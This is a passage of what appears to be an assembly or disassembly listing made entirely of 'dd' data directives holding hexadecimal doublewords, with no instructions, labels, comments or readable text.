980C8CACh, 259C82Bh dd 186712C0h, 8EC743E0h, 1B67609Eh, 0C0305B66h, 5C84ACE1h dd 23382720h, 0C42D1496h, 0C8AE8894h, 0B51302F1h, 9499BCBDh dd 10F2103Eh, 665C001Ah, 7B36A64Fh, 96A0B585h, 29186333h dd 0A5B9C995h, 0E3F1099Eh, 4E80CC2Dh, 4044EC38h, 1D055DE6h dd 0D67F162Ch, 7BAC4Eh, 0F3DB49Ch, 5C5B19E5h, 92E808E6h dd 0F7001021h, 229E68D5h, 807D0092h, 0AF0A714Ah, 0E4515446h dd 2A940098h, 0D9604056h, 8E9BE210h, 5A0A0035h, 0A808CB85h dd 4C137190h, 0AE00BA7Ch, 0E478D552h, 243B005Ah, 208BB95Eh dd 0D703B814h, 0A953B53Fh, 0F94BF083h, 3B3D7124h, 0E0077068h dd 7FA3D111h, 0BDD930E1h, 4232609Bh, 11D0FF75h, 20DAF04h dd 0FC10974Fh, 1524C10Fh, 50E4AA8h, 13C34098h, 28ECA2A6h dd 1FE89902h, 81019715h, 805869D1h, 0F842CDA5h, 4D006CC6h dd 3C569D88h, 905734h, 0E7D1E0E6h, 0B32982Fh, 2A3D7BE0h dd 607280B4h, 4D04766Eh, 7BF0064h, 1967E996h, 1500DE4Ch dd 6A9894B8h, 753BFD48h, 0A8F00075h, 0AF98BB0h, 0E1073847h dd 4F25ABE3h, 0F522AC50h, 4B5D008Ch, 9C2A6BB0h, 102E3A0Dh dd 89016F5Ch, 0E5C10ACDh, 7368EEE4h, 43AE0EDBh, 0FD006364h dd 0C5A9FF29h, 0B7FB1CC0h, 50245E4h, 352D423Ch, 3EDD0B7Dh dd 281E99D8h, 4800E868h, 9A0BD3DDh, 4D1300FEh, 0CF9218DAh dd 0F8BD8F5Dh, 931700ADh, 13965ACAh, 0FF5C544Eh, 4B68006Fh dd 9E0BF9E0h, 63DB0E27h, 0DD4061E2h, 0DC58AE09h, 0E126448h dd 0D8A84Ah, 6D1860E9h, 0E8E007Dh, 0AE9C0671h, 0E8C09FA6h dd 0ACDE5E93h, 914C0020h, 0CD76DD08h, 472E39CCh, 0BD001AE1h dd 453BCB53h, 8D8F00EBh, 0E4314095h, 0D701357Ah, 0B6FF14EFh dd 8248E47h, 0D40A54DBh, 2FB730DEh, 0A0106F50h, 94E7C800h dd 1E734C24h, 7E8FF0A2h, 7CAE0066h, 7DB21CF3h, 0E800BC54h dd 68B01D4Ch, 10FAF24h, 3A9A364Bh, 0CCBBDCF1h, 40929CBEh dd 8620E801h, 0B4F5EB9Eh, 0C676C4h, 54CBE29h, 0EA09609Ah dd 2A6ACD00h, 87513227h, 0CAA70E1Fh, 0C587EF65h, 846BC029h dd 814F955h, 98C668h, 98475A20h, 505C1D1Fh, 180ECCE4h dd 20C8B9FFh, 93036B72h, 340C0B27h, 0B8BE9868h, 22333FEBh dd 0A50EF83Dh, 51E07BEAh, 0CB8E7970h, 520F3FFCh, 83FCB2CCh dd 0E0DD3A68h, 78BD08h, 0EEC759CDh, 0AE831184h, 0A527400h dd 60F089E1h, 55DC0034h, 0F430ADEBh, 0F3007137h, 73DBF9B6h dd 0A0AC66h, 361F68B3h, 0CB37FCC0h, 38D948h, 3DD3EB94h dd 0EC93E741h, 92E2006Fh, 0B6FEC94Ch, 0C70005D2h, 0CD779E30h dd 2AF7BE81h, 0ACFCD7h, 0A18920EFh, 0B5B864E8h, 0E22C6D00h dd 0FA6AD5ADh, 2577187Eh, 0C5AF2087h, 3C2EFB00h, 0BC227D41h dd 74E273h, 6A7A507Ch, 0AD774428h, 2C02D38h, 0A86E2EE8h dd 0C9F4818Dh, 70909458h, 2A6D8076h, 7CB3DDh, 42432302h dd 882F4450h, 81830B03h, 4CCDF46Eh, 3100DFE0h, 0B2F8BBA8h dd 0FA02F72Fh, 9004F388h, 120C4407h, 1CF2B934h, 9BC6C1FCh dd 0C0A28C4Eh, 24F513FAh, 68996338h, 8420D403h, 5FC1C0A0h dd 12EA003Fh, 19C3029Eh, 97D13FCh, 0BA0013B8h, 0CA90288Bh dd 53D392h, 3C9359D5h, 0B90F4D82h, 63E60C00h, 1DD17A5h dd 4A760099h, 0CE03BC14h, 0C4003592h, 0C0F1D9D3h, 9313DCh dd 0E1447468h, 2F3077ABh, 0E47753E8h, 13C21E58h, 4400CFE7h dd 12DC0697h, 0DDA100A9h, 0A2B29802h, 1C075BCAh, 0C3885A9Fh dd 0D2C5D90h, 0FC390328h, 0A762AD93h, 86322F80h, 0C44CB17h dd 45916E00h, 74028F8h, 0E7363EA5h, 7D6B8021h, 720049CCh dd 77A914A8h, 380780h, 250CCE93h, 3791417Fh, 0D1DC030Ah dd 2B81B8A6h, 0D9BB2F50h, 4330D0h, 4D8DC769h, 9B34BD5Eh dd 20EA0A00h, 0A1B3F1DEh, 0E89407BBh, 0E9CC33B0h, 0BA7B0020h dd 7E00C3D7h, 257942C2h, 482D73h, 78203D02h, 715EBDA4h dd 0A7563907h, 0A056A2D8h, 7022006Eh, 0B13C2415h, 0BD00C407h dd 27B486EDh, 0F59D6Ch, 3845CEA7h, 3775D202h, 5E4A880Eh dd 2D0E01BEh, 0B661AF7Ah, 2667F8h, 77E61695h, 0C2A23AFDh dd 81315F3Dh, 41C0F50Ah, 3C340432h, 26CCB04Ah, 9E08E789h dd 0E3AD80A0h, 0B09DB8AAh, 0D0254Ch, 8B3D2187h, 0E0D222FAh dd 138FE69h, 81659D0Fh, 80E66ED3h, 0CA540728h, 0E34C34h dd 0A9D6123Bh, 51041092h, 0C7684600h, 7F5F6477h, 5424F51Ch dd 9598A082h, 6861127Eh, 91A9005Eh, 0C89A57D2h, 35586A00h dd 11BCB405h, 6D8C39E3h, 0F2377D80h, 0AAEDC7ADh, 0B1F3B200h dd 5CB9189Ch, 0A855001Ch, 8F65BAF0h, 62396D21h, 0B4528003h dd 5C14DB63h, 0BA7307F9h, 50CEE6B0h, 0F2A9EAB5h, 0CD8CC500h dd 40198407h, 69B407BEh, 30BCE609h, 0D7369F4Ch, 43B28600h dd 0F5327E3h, 264E00CFh, 712ADD78h, 36008C60h, 0BF287BD5h dd 0FA7F62D2h, 0A6490016h, 38DA12Dh, 2000ADFDh, 0F78ABC73h dd 3D3DB5Ah, 0C0213116h, 0EFD86E10h, 32F31B0Fh, 371A0E98h dd 0CFEA00F5h, 0E01D4358h, 0E3E60091h, 83BF2DBCh, 1900746Ah dd 0CAD48EE2h, 5D0676h, 3C4FBBEh, 0D652880Bh, 0CC212200h dd 763871F1h, 34D90096h dd 1679A55Dh, 0C20230A9h, 326DE957h, 0C026E068h, 0F560005Fh dd 0F6361591h, 0D6F62B19h, 7A0C1E00h, 0DF7E7B78h, 0CAB2002Eh dd 9998BF97h, 820764C7h, 2893FB07h, 0CE898089h, 90D113h dd 7EC49192h, 155C64Ch, 9FE24E3Ch, 0BDC45341h, 5CD2DBC5h dd 25A080D8h, 1350A40h, 20CBB4BFh, 20E7A28Ah, 6F00BB3Bh dd 0E5A47EE1h, 0B0B3F96Bh, 0C42B0094h, 549B9646h, 490066D5h dd 74302CDEh, 2627B9F0h, 723E243h, 0F277572Eh, 7640D2D3h dd 0D5003EDEh, 8D83CA76h, 0F2CAE94h, 58DD7017h, 14353FA2h dd 835A9282h, 0BD190C50h, 26207116h, 0D12E5701h, 987AD029h dd 5C1C74F9h, 1E7897FAh, 2CEFE10Eh, 21E58055h, 6F33D8D4h dd 5B03504Fh, 14E0F3DCh, 0BF07E245h, 0EEE7F048h, 0E8FA9C80h dd 2BEF068Eh, 58537404h, 0E23D2C13h, 0C215901Dh, 0EC200698h dd 1879E123h, 51E645DAh, 591F53F5h, 5A4AAAD2h, 5E2D08BDh dd 0FAE102B2h, 24809D14h, 343F4740h, 9FD74500h, 0E3468F02h dd 6AA0018h, 67910BC9h, 540B88B8h, 500D4Bh, 0ED25E316h dd 9E9A0021h, 225A7B49h, 0D007F3A6h, 79099608h, 0CD3214A1h dd 27AF0h, 0F1E50A91h, 4ED48BFFh, 0D821B900h, 5A587B04h dd 3CE1012Ah, 1FBA5328h, 93BDF064h, 0B8570100h, 0C42F39A9h dd 19A6008Dh, 4E27E49Eh, 0D9036E62h, 5C912928h, 23F2F9EBh dd 0F7037F4h, 0E7AAF965h, 50D8C07Fh, 0A0B6E5A6h, 47FC2A0Eh dd 1F0424D3h, 0AF1B9C0h, 1EAEAAFh, 0E6CF0E7Eh, 0EC56C33Fh dd 0F6E80DC4h, 71641E00h, 81204C21h, 33E752Dh, 0B30FFBAAh dd 0A8E8E61Ch, 110057BDh, 82E86366h, 1FAF5CDFh, 0DFD53C50h dd 2F0A072Ch, 9BBBC08Ah, 0C554014Dh, 0F903DDBCh, 65737DAh dd 0AB3EBB3Fh, 0E5DB38h, 0DAF21721h, 0E4E35B9Ch, 2236DF12h dd 8A80445Dh, 0B3A2EB92h, 189800DBh, 21D4F1C0h, 9480898Fh dd 9C86366Eh, 48362078h, 0E6419049h, 4E5E1812h, 0C840201Fh dd 14A7020h, 0A8BED2FDh, 8B566EE6h, 40D0E4B9h, 6F12187h dd 0CCA840D8h, 120F10E6h, 80873599h, 0EE8192EBh, 7F9FEFBh dd 5269822Fh, 0D06637C9h, 0EB5A5777h, 8767A722h, 7C2B4104h dd 1F108364h, 90F0639Dh, 0E9FACDh, 0E65DA71Bh, 56F1D469h dd 209F1533h, 9131B0F2h, 0ACFF00A9h, 47A5571Dh, 0D2EE0C46h dd 0A3552500h, 4084BBCEh, 9A5B036Dh, 0B5CF0615h, 0B489D6C8h dd 42F6EC00h, 50AD1B1h, 183E00BEh, 1A8A5E06h, 1F06E7F9h dd 0EE7AB9A0h, 0C030011h, 0C4BFB40Bh, 8500464Ah, 8764DBC7h dd 0D62F41h, 0EC4EC9E5h, 7C63679Bh, 0A1B74B01h, 0AD6CE625h dd 1F4897D0h, 407A2623h, 6DC85724h, 563CE9CBh, 0D1698F73h dd 1EA440F2h, 76800F99h, 0D460E6Eh, 852033F0h, 878917EAh dd 78105D38h, 319470Eh, 524BE0F1h, 7DC4BAh, 0FE423A76h dd 0CD70FA09h, 8745BB0Ch, 77EE9D8h, 92EE1C8Dh, 5717E076h dd 0D000E7F7h, 0D49C32BAh, 0E30FC5h, 0C64A79A9h, 0DC505804h dd 395CB203h, 0D08502FFh, 4D99D0h, 44067936h, 6B3F88BBh dd 1B3270E1h, 0C37B7C01h, 0DB16D50Dh, 0F000F221h, 75C591Ch dd 97E2E16Ch, 2CE0D37Ch, 0BD3694E8h, 2128B598h, 9E05C8BBh dd 1BBC668Bh, 99D4D040h, 0A095DAh, 0C5815A02h, 0CCD95EF5h dd 0ABFE6E02h, 486886EEh, 276224h, 52E091A9h, 90B3C4A5h dd 1742BF00h, 0C95DEE65h, 0AF7C02CEh, 2EF61A61h, 0A87BAAC0h dd 4232F100h, 0BF3F4686h, 1020F79h, 57A04ADBh, 0D9C36508h dd 0D3E4E50Bh, 4C2B032Fh, 1154A8D6h, 718D803Bh, 3A72C400h dd 0CBFC5186h, 0EBD93CEDh, 0A84B7400h, 0CD16AE04h, 8089C30Ah dd 560E9F97h, 0D77480EBh, 0E42699h, 5FA51A5Bh, 403187DBh dd 7F486A18h, 410420E0h, 0A428D067h, 31528915h, 2CA34CA0h dd 0D6007BF7h, 0B117C9E2h, 756900DBh, 0D126C550h, 9E006241h dd 0A3310353h, 0C44482h, 6CD7B7E9h, 2DCF97CBh, 8261D83Ch dd 908AA84Eh, 58CC494Fh, 872AE980h, 0EA5EE703h, 73A36204h dd 1C804F45h, 6EC684FEh, 8C8006F0h, 90A75329h, 0CD613416h dd 0B01587FAh, 0ACF20BC2h, 17AF0405h, 0D4006351h, 0D1C725D0h dd 0F7D80077h, 0AB241453h, 9B121E70h, 40B828h, 0FA233440h dd 55150772h, 9480EF89h, 0E9C8801Bh, 0B00A81E5h, 88DFB59Bh dd 45157100h, 3A25847Dh, 94A64630h, 0CCEA8030h, 0F54BF2FEh dd 0A83C5500h, 5779745Ch, 0E5690001h, 0B21C031h, 600CF41h dd 0FA50A68Eh, 1D2B1C8h, 371DDD60h, 0D113487Bh, 0E2A1D0C0h dd 8FF06926h, 22391A00h, 7965DDDEh, 361900F1h, 0EE3D6771h dd 34008B60h, 5D6E7FCEh, 7438315h, 42FD02Eh, 1C004923h dd 0F87B90DFh, 88C97E07h, 0CDB062DCh, 0D8C6FBh, 0EF22CF38h dd 0F3DFCA72h, 0DD00ADEEh, 0A864BACh, 733BBB99h, 467C04AAh dd 0C395AE50h, 5BD01DE7h, 6006DE68h, 6DFDC358h, 7DD92680h dd 4D890E5Ch, 667CF9Fh, 2D23E643h, 9C398190h, 402C200h dd 0FCAD0310h, 0A0705087h, 4916016Fh, 0D1FD271Fh, 37F88112h dd 0E2DD9738h, 0B631F0h, 0AA06B515h, 36D47991h, 83CB9300h dd 84D65A5Dh, 87280137h, 3DAAC804h, 5E42D4DBh, 0FEDCE501h dd 0B054B617h, 48807424h, 796A89h, 39D29787h, 0FA55C7FBh dd 489C070Ah, 0B109C6FDh, 6A4D0053h, 60D32861h, 0EED41126h dd 7C00B608h, 0A01C3114h, 12223865h, 9C3CD7h, 0F554F79Ch dd 7902957Dh, 5605A38Ah, 6C604072h, 1F63093Bh, 4020D874h dd 5CC6A99h, 2B986200h, 0CB2FD740h, 675118F0h, 8ABAB109h dd 0FB75E100h, 1F98EC0Ah, 4F36002Ch, 2BF71A7Ah, 181534CEh dd 39C8CEFh, 0BB09FD81h, 406A8C8h, 6C8E0073h, 0A1A5F8Dh dd 0D100A12Ah, 0E44E6392h, 7A25BC85h, 0C88E009Bh, 0BD5310EBh dd 500BB78h, 0E683DA67h, 0E888BAh, 16217A23h, 17315D25h dd 80BD5E39h, 0D36342A7h, 5DD237Fh, 77AB808Dh, 0F06AC0C8h dd 3F038C9Dh, 0B1EEF630h, 43A2905Dh, 0CA6A1DFAh, 485E4024h dd 852E5587h, 0E1307012h, 0C1751C0Fh, 0E72D7F79h, 6F653887h dd 0B3CE64h, 874D98DCh, 8A74C1ABh, 0EFBA8302h, 80722C3Fh dd 0D5A6DDA8h, 0E97A04h, 991A9FF5h, 0F24E7C96h, 53F1B800h dd 5E60A21Eh, 1FCF1C9Ah, 64E500CDh, 7480C67Ch, 73E07E00h dd 0A0B563A6h, 9C570071h, 7DBFE4C1h, 0DE72B65Ah, 7A7CA558h dd 0C6EAA27Bh, 1C2E081Fh, 2AA061C0h, 4C4895DFh, 1A008027h dd 98CAE0EEh, 0A70CBFD5h, 0A093F17Bh, 0D29400ECh, 0BB97E46Dh dd 764DD408h, 0E11008Ch, 844158CCh, 0D29D003Ah, 4495B2FCh dd 0A3003C86h, 42CA15D7h, 0F9965A5h, 29F5B592h, 0FBC78780h dd 3A481E68h, 0C38E0070h, 0E64F6DF0h, 94B0FCh, 686F82E0h dd 0E450EB84h, 7BF671C0h, 183196Ah, 68BE33C3h, 0CB4EEB86h dd 7DF0210Bh, 0DDA4A76Ah, 0E4AB8B30h, 0E8B5E87Fh, 24F0182Dh dd 25EB216Bh, 736A1CA0h, 68B80A0Eh, 4F809CCBh, 0E7858290h dd 32EC26AAh, 8B5900DDh, 0D7E18D68h, 2A00E6EAh, 92DE5B90h dd 122F66Fh, 4A5ABC6Bh, 0F4C0860Dh, 8B01179Bh, 0AA124563h dd 0EFCCEB5Fh, 236418C5h, 0E0A039E3h, 0B014CB0Bh, 0E6DC2063h dd 636A902Bh, 0D372905Bh, 617DB6A3h, 4FBBFE00h, 394EFD21h dd 619E1EBEh, 87724069h, 1520C056h, 649AF90Bh, 5B010A5Ah dd 8C79A43Dh, 89D24B04h, 58B710C0h, 11A800AFh, 5AED71F9h dd 9803D56Dh, 0B0AABA63h, 15A1B049h, 0D0800E66h, 0B70032C6h dd 0B6895E3Dh, 80128F3Eh dd 76EDAAABh, 77B5CFA7h, 5808020Dh, 5110B231h, 4559D040h dd 81CD2400h, 0C5FA1B7Ch, 0BF860090h, 0A772BAFCh, 0A500DB50h dd 0C6631E0Bh, 11735C0h, 62B6D84Dh, 0D87A61FEh, 0D7006B7Eh dd 0F114B7Bh, 50AFFB3Ch, 255F9DC1h, 0A83E8241h, 0C5276E01h dd 697FA593h, 0B606198Eh, 9408AD29h, 0CFEB0CD0h, 0D0BAEF08h dd 0B6BDAC04h, 6E809168h, 7C7EF9C4h, 8CCF09E9h, 1A004BF6h dd 9E6661E6h, 3AB7980Eh, 974F6306h, 0E340008Fh, 0F95C0C10h dd 0EB24FC99h, 610AA0E7h, 0AF00A165h, 0BAF158EAh, 779902FAh dd 0A6C3EE13h, 0C275209Eh, 0DF620C8Ch, 4D20C888h, 2B2F6712h dd 0AC97C820h, 68B9262Ah, 0F09003C0h, 98A30BA2h, 0B4A42100h dd 0FBB1112Ah, 3A2F00E9h, 640C4707h, 7D7A5F48h, 3DEC010Eh dd 0B44BC08Bh, 506F4D49h, 0B41A430h, 40F71255h, 77DE9400h dd 760CE0D4h, 61ED2B60h, 28F83ECBh, 31703F03h, 0E9D84913h dd 5A15779Ch, 1CC15EAh, 0E2032605h, 39B283D8h, 0AA302DC8h dd 68C31C2Ah, 9491610Bh, 2AB2387Fh, 0FA80330Ah, 213B80DCh dd 53C087F2h, 48431607h, 967012EDh, 1FEAF8Eh, 394CE311h dd 0D9E22162h, 0F5399D99h, 0A5DEC5C7h, 3FB8031Fh, 72A9008Eh dd 0C342658h, 6B19C3A3h, 8908AB13h, 0A0D32184h, 0DD998026h dd 0F9B89C88h, 9024E800h, 0B52DD43Eh, 0E73D03C6h, 0A3D3F751h dd 0BDB6A7D0h, 48599324h, 0A9B1C2C7h, 0EE189FE4h, 0C9A088h dd 0C27D4AB6h, 0E0E1F8D7h, 0C68824h, 20976D00h, 0C078D011h dd 66FDAA10h, 24E7CFC2h, 2E0FC784h, 0C3E05F4Eh, 30E8EB6Fh dd 0A7216B09h, 4A004E37h, 0F8F544DDh, 691055h, 28150178h dd 0DC6FDE3Bh, 2AF48050h, 183EB44h, 6E37B0DFh, 0D1B33695h dd 57BDD098h, 64F6081Fh, 0BB351D01h, 71BADE50h, 39DC660Ah dd 15B10144h, 4EAF513Ah, 94078488h, 891A6B30h, 0DD86C600h dd 9F40A2F6h, 0A1E2602Bh, 0A8B47068h, 0D7DE411Ch, 23735901h dd 0F29FAE77h, 6C0C8906h, 6AA97800h, 0BD4894DFh, 547204C8h dd 0F0818143h, 90DE93C4h, 10B6B94Ch, 0E0A7E4ACh, 0B6C09Fh dd 960232EFh, 39A03CA3h, 41E8F39h, 7F093814h, 9531B091h dd 0F1123C20h, 0F48EB183h, 78007663h, 0B861077h, 0F099F1h dd 3A9B2884h, 7042660Fh, 40C3F426h, 440814A4h, 0DC8003C5h dd 18166E77h, 982113F5h, 7F3063B1h, 0E0211237h, 0BDD84934h dd 6036B804h, 23BC2AAFh, 9A11A368h, 2AB73700h, 7EB14969h dd 0DCB46E1Bh, 0B88895D1h, 1FA40352h, 0E706F5DFh, 5EC83912h dd 7AE23440h, 116CEB5h, 0EE14841Ah, 0CEA7867Fh, 6467F8C8h dd 0B68CEB00h, 0DB1A3FBCh, 0DABB0033h, 3C2EECB0h, 6304B3B8h dd 62DA95Ah, 0A7C2C490h, 303890B5h, 7718AF5Dh, 92353CB6h dd 62F0816Dh, 2B31CA0Ch, 4A93408Ch, 800DD7Bh, 200649AFh dd 502D0F8Ah, 135D9091h, 14826C14h, 181080FCh, 64070B9Dh dd 82A30FD6h, 6887E65Ah, 0FFF59104h, 0B0E87185h, 698E0215h dd 0C8412721h, 84718BFh, 0C2E06C4Eh, 0A44073C4h, 0C0104E30h dd 946149E4h, 61689178h, 449021B1h, 0FF120884h, 23342E04h dd 8F670074h, 5C646C46h, 7F0F260h, 0CF1441h, 50207BAFh dd 0E810E408h, 0F8385C58h, 6008C9Fh, 0F4DB2F6Ah, 24C4C74Dh dd 10787222h, 0CC8F0B87h, 5AA40030h, 900D2865h, 93649C2Ch dd 8B770D22h, 6EC32F0h, 0F6F7FC0Bh, 0E18F06B0h, 0A06CA010h dd 39E8E230h, 0DEEE4A67h, 54880331h, 700694D3h, 6A1558E9h dd 444C9A30h, 0BD01B8DAh, 64068926h, 60A4F8E8h, 4200DEA8h dd 4A61755Eh, 6193B0CFh, 300754FFh, 8E788468h, 0D8931F4Ch dd 1D7F04Bh, 0F04A1EE2h, 512C8590h, 8914C1ABh, 0DF544178h dd 0BCBC5023h, 0F2EDE57h, 6004C169h, 0F09851B3h, 0ADA501C8h dd 0B8611DBFh, 658470C4h, 0B6DEA1C0h, 7C3EB14h, 0A746F358h dd 0C7640182h, 0A8037F9h, 0FC04DF69h, 35A05798h, 0AFDC196Eh dd 2308B975h, 0FE00688h, 0A38090A9h, 49A0107Ch, 6DC20083h dd 8B8FE394h, 0F8F7497Fh, 0C05BFB1Fh, 0BFF6AC7Dh, 0A600A0ECh dd 924BC728h, 0A4896B2h, 0F4CFFC08h, 60BD44C4h, 235E4E31h dd 6D1132E0h, 4E3AA600h, 7C1083DBh, 0A1122AB0h, 840E52Ch dd 0BB82A99Ah, 0F4850088h, 79DF463Dh, 40093CE6h, 82F336C9h dd 287605A4h, 35A0FCEh, 8437B727h, 4DD8A4F0h, 0EEC25B0h dd 23207C5Ch, 265100B1h, 0C2FB0C49h, 0D87E4486h, 0E5265904h dd 0C862C0Ch, 56A07E9h, 2BF607C5h, 0EC6E1010h, 2C80FB20h dd 47C42B4Bh, 0CF081C77h, 20115F60h, 39C8FFFh, 9B8AD95Ah dd 80E035B7h, 0B5004C07h, 0E137A95Fh, 26FA1572h, 80F86ED7h dd 54DDE49h, 0FB547F77h, 0C1FC43D0h, 3A4F4100h, 0F45FF152h dd 85DD02CDh, 35D2B7D4h, 76C2FCC2h, 0C0C56805h, 10AB8722h dd 274CF700h, 8D0783E0h, 6613DEFh, 48CB1A82h, 0A04451B4h dd 90E25A18h, 12DC5441h, 4CABC6Bh, 0D19CDFB0h, 807C2B74h dd 1CFEFFF1h, 18A7B81h, 0CCF59D7Ah, 30DC4C60h, 0EF405DE0h dd 0E014100Bh, 0B6007C9Ah, 3878F0B9h, 4D4C6EA0h, 40003C13h dd 1C9A2D14h, 0CA3AF28Fh, 0D2A71428h, 552A3DD4h, 656C41A8h dd 895902E1h, 6FF8AEE0h, 6DDCC4E2h, 4BF69080h, 9EBF26C1h dd 6B9103D4h, 400C6CA9h, 0E18D755Ah, 0E6DA1F05h, 5468431Dh dd 8878721Bh, 0FD819B04h, 0B0C2AFC3h, 2AA93030h, 1368C209h dd 3FE8450Bh, 0AE2AB180h, 23B5792Eh, 1D8BE903h, 9B08EBDBh dd 0DFC008B4h, 5039628h, 0B23B1664h, 0C3160E9h, 745B5CAAh dd 0C30F5A23h, 17E4A4B6h, 93F461h, 0F6B6CA9Dh, 7AC60B60h dd 98F9518h, 4F9233E5h, 0DE8606ACh, 61FB5EDFh, 1164ED60h dd 208249B5h, 0EFDAE4ADh, 942068C0h, 59146380h, 9445BC28h dd 30398802h, 0B7112AAEh, 9988AB68h, 2AB63687h, 413170C0h dd 80271806h, 6AA5D95Eh, 447A3B01h, 1EA0ED08h, 0D606BC40h dd 0E47016B1h, 0A01051E3h, 0BAC40104h, 883CCE77h, 91BBC06Eh dd 570FEC2Dh, 0E40DC03Fh, 1090D5E4h, 0E686910h, 0BA9163A2h dd 4E600256h, 0B0C9F2B3h, 9B0183Bh, 9B68BD2Ah, 3000001Ch dd 0FDF2AB8h, 0AD0EB29h, 8B9DE1BFh, 9E46749Ch, 0B2056E00h dd 44C1D360h, 0BDBB8700h, 327F068Eh, 8464D5E0h, 0CBFC071Fh dd 84827D63h, 0FC2993DDh, 313717E3h, 305522B4h, 0B700F28Fh dd 0AD5D3EE2h, 59146E7Ch, 0DC50B0A8h, 399D42DDh, 2C62CAB4h dd 22F47066h, 0D7008B43h, 241BD51Dh, 399AFh, 49B657C4h dd 316FBB5Ch, 16B2B904h, 70CBB432h, 450F0475h, 91E36909h dd 0ECBE466Ch, 50C734Ah, 795F7F5Eh, 0CFFE002Dh, 0B2B85471h dd 0B40241A5h, 0E0E4AF50h, 81859A0h, 65098713h, 0C064CD42h dd 87E0D5DFh, 84EA0C28h, 21705A31h, 6872E1E2h, 0E352610Eh dd 0A9B8372Ah, 18F3D1DCh, 6427145Ah, 3C4CA72Eh, 0B805D414h dd 638011h, 576B6634h, 2086A74h, 0B4228AE7h, 0D880FA40h dd 9BA50FD8h, 0B4302181h, 440DD07h, 0D08E4C77h, 88C0B734h dd 10ACE832h, 78A47B0Dh, 4684D894h, 2023B4CAh, 0F661ACDFh dd 1DB06314h, 0A4250354h, 0BC61A7FCh, 0CFFC42B6h, 0A665FC59h dd 0EDBFBC00h, 6991393h, 911F6EFh, 0DE12D0AFh, 88202C26h dd 0FA398DA6h, 2090B854h, 0BA0BE685h, 3E3B1h, 8B26E8D9h dd 9A30C04Ah, 58E22E86h, 0D0C4112Eh, 1369D380h, 1891A3CAh dd 20AD52AEh, 0F0805949h, 187C94h, 25EC0812h, 0C49FACD1h dd 57E4680Ch, 0F8EBE073h dd 0A4C81F85h, 374C0B9Eh, 7FE3F8A0h, 78585A9Fh, 0B88BC8h dd 5706709Ch, 0FEC988Bh, 26EA08DAh, 0C910C041h, 0C5C08085h dd 58829EAEh, 895C6121h, 0C8FC728Dh, 1027F58Ah, 5A082492h dd 0DDF8240h, 70051D36h, 0ACA2D88h, 1F7AA680h, 90C84B4Eh dd 88D9FCA4h, 0BA4AF03h, 0ECE4E2C4h, 0AA2D9058h, 68C0447Eh dd 0CB4A9C65h, 74DD00DEh, 0C8CA216Dh, 0E11E7F5Ch, 8EC10C45h dd 8DE9C457h, 0E0FFEF0h, 0E8794E60h, 0EC40F18Fh, 0C0DBCA08h dd 5BF5DC0Eh, 41C5EC7Fh, 0B50300F7h, 8DE06E0Eh, 2A7EA7D3h dd 70B94F0Eh, 0AD2C80E3h, 5F3B43h, 0D8609A03h, 5D8F0266h dd 5C19BE00h, 4F382456h, 83BA033Fh, 1063BD5Eh, 84741801h dd 75F0CD69h, 41E12Bh, 0E8D22C18h, 0DFB7FF0Ch, 1588ACh dd 2DCA0FD1h, 1E1195A5h, 0FFCCA806h, 20AD57h, 0D513F541h dd 0CF66D064h, 0BAE46200h, 0FA2CEDE6h, 8B1C0707h, 90D846C2h dd 45D69860h, 0E88CB60h, 6119C5DBh, 49E4F8F3h, 0ACF4D055h dd 0D6F1E600h, 9F01CDC2h, 3B9E003Dh, 4D35F054h, 0F1F423Eh dd 5A00A2F5h, 0D5F74B5Eh, 12D0FF1h, 1D208799h, 6658B289h dd 0FA009BF6h, 16B3BD2Fh, 0F2CCA62Dh, 4DE6018Dh, 0A2995B2Ch dd 0DB98C5F5h, 173A61C0h, 55398F01h, 0DD3229F9h, 996D088Ch dd 0E1073620h, 852D8216h, 0CFECD300h, 0B8750107h, 3D21185Dh dd 1288EA2h, 0D591D8D6h, 350A000Ch, 3045C3D8h, 443C8972h dd 929600A3h, 0A516C8B8h, 9BC618E9h, 5A346901h, 0AEFD9EC0h dd 6C4AE550h, 0CB0B80Dh, 0E802F643h, 0E5399516h, 0C106B31h dd 5D00164Fh, 33CF75E7h, 0C5A7E38h, 0CBFA39C5h, 80AC9D51h dd 94165702h, 19FA2D39h, 0E237106Eh, 9B240B16h, 0AD01FF4Ch dd 41153FD4h, 7052758Dh, 7701F533h, 0C2DD9C08h, 0A4E011BDh dd 29D800C8h, 35BF4A96h, 0FE009893h, 6C888490h, 1CE7EEEh dd 0E4C194DFh, 0ECD0F913h, 4AFA4543h, 80231E39h, 0D3115B51h dd 0EB12C8h, 96BAAD74h, 243F92E6h, 0F61F942Fh, 9FDA0F25h dd 74851DC0h, 3B004C57h, 0F1039CB0h, 0EE68B6Eh, 0E889BDBCh dd 0B89FDD00h, 7D0E4374h, 0C06B69B5h, 5E58A9Bh, 84B9003Eh dd 0D2088F72h, 3700BCB0h, 5AFDE8ABh, 2B2242Dh, 0A65F92E1h dd 66E07D96h, 0E30E81C5h, 80CB0597h, 9844585Ah, 548B0040h dd 2A53675Fh, 51033D5Eh, 6C61F93Bh, 0FA200742h, 60A0A1B8h dd 0A6ACD622h, 90642C00h, 835935F4h, 0CD2E003Ch, 401EFC12h dd 3B034107h, 8D42855h, 8CC5D8C4h, 0EC8500F0h, 755A7358h dd 0A006586h, 34E1BA74h, 998D36h, 0F029A684h, 0F31E937Fh dd 0EA094A00h, 7B4775CAh, 14BA00B9h, 41782681h, 0AE00AD93h dd 774BFD1Dh, 244F9Eh, 0E12E0B54h, 4352D73h, 30019500h dd 600E287Bh, 226800FCh, 1781712Eh, 0A41EB450h, 0FF801D31h dd 0EBBE492Ch, 24BA0057h, 8B37834Ah, 610725CBh, 2B048ED9h dd 46F3C670h, 7E620E5Bh, 6806753h, 52A3161Ch, 8E023490h dd 5B7B54DCh, 69AB4003h, 6C3C0E62h, 0F3461E64h, 60050D9h dd 60DE5DE7h, 4CA643h, 5797896Ah, 8145F85Fh, 3E5058h, 0C7745837h dd 91FE12h, 6BFF4442h, 227334EBh, 50726800h, 7DCBD49h dd 8D1200D2h, 4F998E4Dh, 930040E2h, 0D0E3336h, 6F3713h dd 78ACD57h, 0B5C7D667h, 767CFAE2h, 71DCCB00h, 9BB1A2AAh dd 65283053h, 60917D11h, 7BF925Ch, 0A8A1A05Ah, 0CAFBC2C0h dd 95C077Bh, 20751CD1h, 202F21DEh, 4E0BD8A0h, 8300C278h dd 0EBBA2E31h, 0F00ED9F5h, 84CC01C7h, 3C1BF4EDh, 1721D462h dd 0E7313200h, 0F377676Fh, 45780060h, 41059A1Bh, 0DE0064E3h dd 37F0FCEAh, 915C1h, 49594DBBh, 845E6A9Ch, 8AE30F00h dd 